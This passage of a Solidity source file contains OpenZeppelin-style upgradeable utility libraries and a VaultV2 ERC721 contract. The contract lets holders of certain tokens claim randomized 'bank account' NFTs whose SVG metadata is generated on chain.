in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // Interface to use Dice contract interface IDice { function roll(uint256 _sides) external view returns(uint256); // one value per block function rollTx(uint256 _sides) external payable returns(uint256 result); function rollTxVal(uint256 _sides, uint256 _anyvalue) external payable returns(uint256 result); } // Interface to represent asset pool interactions interface ISmartTreasury { function userInfoMove(address _account) external view returns (uint256, uint256); function userInfoMoveEthLP(address _account) external view returns (uint256, uint256); } /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } contract VaultV2 is Initializable, ContextUpgradeable, OwnableUpgradeable, AccessControlEnumerableUpgradeable, ERC721EnumerableUpgradeable, ERC721BurnableUpgradeable, ERC721PausableUpgradeable, ReentrancyGuardUpgradeable { using SafeMathUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; using CountersUpgradeable for CountersUpgradeable.Counter; using AddressUpgradeable for address payable; ////////////////////////////////////////////////////////////////// // to keep deploy cheaper, initializer function has been removed, // as it was triggered on first deploy only (and the state init is done) ////////////////////////////////////////////////////////////////// /* function initialize(string memory _name, string memory _symbol, address _diceContract) public virtual initializer { __NFT_init(_name, _symbol); totalClaimed = 0; diceContract = _diceContract; bank_names = [ "Big Heart Bancshares", "Focus Holding Company", "Elysium Bancshares", "National Bancorp", "Pulse Holdings Inc.", "New Generation Bancshares", "Trust Financial Inc.", "New Civil Corporation", "Total Trust Inc.", "Padlocker Group", "Wells Fomo & Co", "Wojak Stanley", "Goldman Chads", "Pepe's United", "APESBC", "Ethirium Financial", "Consensus Co Ltd", "DeFi Development", "Unimint", "United Community", "Avantgarde Bancorp", "BlockRock", "Chain Bridge", "Mover" ]; bank_types = [ "Retail", "Commercial", "Shadow", "Investment", "Cooperative", "Credit Union", "Central", "Offshore", "Divine", "Demon", "Crown", "Common", "Ethereal" ]; mngr_names = [ "Tom", "Bruce", "Dave", "David", "Ricky", "Jeffrey", "Ryan", "Eddie", "Alex", "Christian", "Bette", "Dorothea", "Teresa", "Jeanne", "Julia", "Sarah", "Autumn", "Teresa", "Riley", "Serenity", "No Manager", "Karen", "Anton" ]; mngr_lastnames = [ "Ryan", "Harper", "Edwards", "Jennings", "Maddox", "Weber", "McLeod", "Gaines", "Kramer", "Barr", "Cobb", "McDowell", "Sanford", "Keith", "Bruce", "Morrow", "Stephens", "Lindsey", "Crane", "Underwood", "Broadchest", "Longbeard", "Ember", "Steadybuck" ]; tiers = [ "First Royal", "First Amazing", "Black", "Elite", "Ultima", "Prestige", "Exectuive", "Silk", "Signature", "Gold", "Platinum", "Common", "Premium", "Priority" ]; account_types = [ "Current", "Checkings", "Savings", "Mutual", "Packaged", "Student", "Basic", "Investment" ]; nicknames = [ "Synapse", "Phoenix", "Cube", "Feel", "Solace", "Response", "Light", "Figure", "Heart", "Made", "Dock", "Oracle", "Dimension", "Unique", "Butler", "Admin", "Master", "Dream", "Student", "Genesis" ]; locations = [ "Free People's Democratic Confederation", "Grand People's Duchy", "Hallowed Capitalist Confederation", "Second People's Democratic Caliphate", "Plurinational League", "Capitalist Alliance", "Majestic Democratic Confederation", "Sage's Commonwealth", "Warrior's Monarchy", "Mage's Alliance", "Absolute Kingdom", "True Co-Operative Confederation", "United Plurinational State", "Grand Alliance", "Vigilant Co-Operative Duchy", "Grand Kingdom", "People's Socialist Duchy", "Economists' Monarchy", "Farmer's Confederation", "Arstotzka State" ]; } */ function setContracts(address _lootContract, address _blootContract, address _sohmContract, address _moveContract, address _moveLPContract, address _stContract) public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); lootContract = _lootContract; blootContract = _blootContract; sohmContract = _sohmContract; moveContract = _moveContract; moveLPContract = _moveLPContract; stContract = _stContract; } address private diceContract; address private lootContract; // ERC721 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7 address private blootContract; // ERC721 0x4F8730E0b32B04beaa5757e5aea3aeF970E5B613 address private sohmContract; // ERC20 0x04F2694C8fcee23e8Fd0dfEA1d4f5Bb8c352111F address private moveContract; // ERC20 0x3FA729B4548beCBAd4EaB6EF18413470e6D5324C address private moveLPContract; // ERC20 0x87b918e76c92818DB0c76a4E174447aeE6E6D23f address private stContract; // custom 0x94F748BfD1483750a7dF01aCD993213Ab64C960F //////////////////////////////////////////////////////////// // ERC721 MintablePausable Preset from OpenZeppelin-upgradeable //////////////////////////////////////////////////////////// bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); CountersUpgradeable.Counter private _tokenIdTracker; ////////////////////////////////////////////////////////////////// // to keep deploy cheaper, initializer-related function has been removed, ////////////////////////////////////////////////////////////////// /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * Token URIs will be autogenerated based on `baseURI` and their token IDs. * See {ERC721-tokenURI}. */ /* function __NFT_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); __ERC721_init_unchained(name, symbol); __ERC721Enumerable_init_unchained(); __ERC721Burnable_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); __ERC721PresetMinterPauserAutoId_init_unchained(); __Ownable_init_unchained(); } function __ERC721PresetMinterPauserAutoId_init_unchained() internal initializer { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } */ /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721PausableUpgradeable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, ERC721Upgradeable, ERC721EnumerableUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } uint256[48] private __gap; //////////////////////////////////////////////////////////// // GENERATE AND CLAIM WITH MINTING //////////////////////////////////////////////////////////// // total claimed using claimNFT() function (not mint() function) uint256 public totalClaimed; // counters for various claim conditions/limits uint256 public claimedLOOT; uint256 public claimedBLOOT; uint256 public claimedsOHM; uint256 public claimedMOVE; uint256 constant LIMIT_LOOT = 4000; uint256 constant LIMIT_BLOOT = 2000; uint256 constant LIMIT_SOHM = 2000; uint256 constant LIMIT_MOVE = 999; // storage of dice types for dices claimed // there are 9999 vaults to be created, so the seed is not predefined by tokenId // (so it cannot be easily predicted), but by a two random dice rolls // 0-999, multiplied by block number during claim, giving a unique seed // 000...000<block_number><0-999><0-999> // that is stored for every NFT ID mapping(uint256 => uint256) public accountSeeds; uint256 constant FIELD_BANKNAME = 0; uint256 constant FIELD_MANAGER = 1; uint256 constant FIELD_TIER = 2; uint256 constant FIELD_ACCTYPE = 3; // string data string[] private bank_names; string[] private bank_types; string[] private mngr_names; string[] private mngr_lastnames; string[] private tiers; string[] private account_types; string[] private nicknames; string[] private locations; function randomSeed() internal view returns (uint256) { // perform dice roll using Dice contract uint256 dice = IDice(diceContract).roll(1000) - 1; // returns 1-1000, so subtract 1 uint256 seed = block.number * 1000000000 + dice * 1000000 + _tokenIdTracker.current(); return seed; } // public getters for separate account details // they have custom logic based on 'greatness factor' function getBankName(uint256 tokenId) public view returns (string memory res) { (res, ) = peek(accountSeeds[tokenId], FIELD_BANKNAME, false, 0); } function getManager(uint256 tokenId) public view returns (string memory res) { (res, ) = peek(accountSeeds[tokenId], FIELD_MANAGER, false, 0); } function getClientTier(uint256 tokenId) public view returns (string memory res) { (res, ) = peek(accountSeeds[tokenId], FIELD_TIER, false, 0); } function getAccountType(uint256 tokenId) public view returns (string memory res) { (res, ) = peek(accountSeeds[tokenId], FIELD_ACCTYPE, false, 0); } // NOTE: array lengths should differ to avoid having the same pair of connected attributes function peek(uint256 seed, uint256 field, bool svgFormat, uint256 offset) internal view returns (string memory, uint256 lines) { string memory keyPrefix; if (field == FIELD_BANKNAME) { keyPrefix = "BANKNAME"; } else if (field == FIELD_MANAGER) { keyPrefix = "MANAGER"; } else if (field == FIELD_TIER) { keyPrefix = "TIER"; } else if (field == FIELD_ACCTYPE) { keyPrefix = "ACCTYPE"; } uint256 deterministic = uint256(keccak256(abi.encodePacked(keyPrefix, toString(seed)))); lines = 0; string memory output; if (field == FIELD_TIER) { output = tiers[deterministic % tiers.length]; } else if (field == FIELD_ACCTYPE) { output = account_types[deterministic % account_types.length]; } else { uint256 greatness = deterministic % 21; if (field == FIELD_BANKNAME) { output = bank_names[deterministic % (bank_names.length)]; } else if (field == FIELD_MANAGER) { if (deterministic % mngr_names.length >= mngr_names.length - 3) { // last 3 manager names come without last name output = mngr_names[deterministic % mngr_names.length]; } else { output = string(abi.encodePacked(mngr_names[deterministic % mngr_names.length], " ", mngr_lastnames[deterministic % mngr_lastnames.length])); } } // with greatness > 19 add nickname prefix if (greatness >= 19) { if (greatness == 19) { output = string(abi.encodePacked('"', nicknames[deterministic % (nicknames.length)], '" ', output)); } else { output = string(abi.encodePacked('"', nicknames[deterministic % (nicknames.length)], '" ', output, " +1")); } } // with greatness > 15 add location if (greatness > 15) { if (svgFormat) { lines = 1; output = string(abi.encodePacked(output, '</text><text x="10" y="', toString(offset + (20 * lines)), '" class="base">from ', locations[deterministic % (locations.length)])); } else { output = string(abi.encodePacked(output, ' from ', locations[deterministic % (locations.length)])); } } } if (svgFormat) { output = string(abi.encodePacked('<text x="10" y="', toString(offset), '" class="base">', output, '</text>')); } return (output, lines); } function claimNFT() public nonReentrant { require(claimEnabled, "claim disabled"); // check claim requirements require(_tokenIdTracker.current() < 9999, "claim limit reached"); // tokenIds 0-11999 available bool claimable = false; // check LOOT, BLOOT, sOHM, check MOVE (incl. staked in Smart Treasury) in order if (IERC721Upgradeable(lootContract).balanceOf(msg.sender) > 0 && claimedLOOT < LIMIT_LOOT) { claimable = true; claimedLOOT = claimedLOOT + 1; } else if (IERC721Upgradeable(blootContract).balanceOf(msg.sender) > 0 && claimedBLOOT < LIMIT_BLOOT) { claimable = true; claimedBLOOT = claimedBLOOT + 1; } else if (IERC20Upgradeable(sohmContract).balanceOf(msg.sender) > 0 && claimedsOHM < LIMIT_SOHM) { claimable = true; claimedsOHM = claimedsOHM + 1; } else { (uint256 stakedMove, ) = ISmartTreasury(stContract).userInfoMove(msg.sender); (uint256 stakedMoveLP, ) = ISmartTreasury(stContract).userInfoMoveEthLP(msg.sender); if ((IERC20Upgradeable(moveContract).balanceOf(msg.sender) > 0 || IERC20Upgradeable(moveLPContract).balanceOf(msg.sender) > 0 || stakedMove > 0 || stakedMoveLP > 0) && claimedMOVE < LIMIT_MOVE) { claimable = true; claimedMOVE = claimedMOVE + 1; } } require(claimable, "claim conditions not met"); // mint a new NFT accountSeeds[_tokenIdTracker.current()] = randomSeed(); _safeMint(_msgSender(), _tokenIdTracker.current()); _tokenIdTracker.increment(); totalClaimed = totalClaimed + 1; } //////////////////////////////////////////////////////////// // TOKEN METADATA //////////////////////////////////////////////////////////// function tokenURI(uint256 tokenId) override public view returns (string memory) { uint256 seed = accountSeeds[tokenId]; string[6] memory parts; uint256 lines; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: #C0ED31; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="#100A20" />'; uint256 offset = 20; (parts[1], lines) = peek(seed, FIELD_BANKNAME, true, offset); offset = offset + (lines+1) * 20; (parts[2], lines) = peek(seed, FIELD_MANAGER, true, offset); offset = offset + (lines+1) * 20; (parts[3], lines) = peek(seed, FIELD_TIER, true, offset); offset = offset + (lines+1) * 20; (parts[4], lines) = peek(seed, FIELD_ACCTYPE, true, offset); parts[5] = '</svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Account #', toString(seed), '", "description": "Every adventurer needs a safe place for their earnings in Metaverse. Vaults are randomized accounts generated and stored on chain. But Vaults are more than NFTs. Once a day Vault owners can roll dice. Every week, the vault with the highest score gets to open the vault and claim the prize. The metagame in metaverse.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } ////////////////////////////////////////////////////////////////////////// // v2 update: // - fix for & symbol in bank name (SVG requires escaping) // - ability for admin to pause NFT claiming ////////////////////////////////////////////////////////////////////////// bool claimEnabled; function setBankName(uint256 _index, string memory _name) public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); bank_names[_index] = _name; } function setClaimEnabled(bool _enabled) public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "admin only"); claimEnabled = _enabled; } }
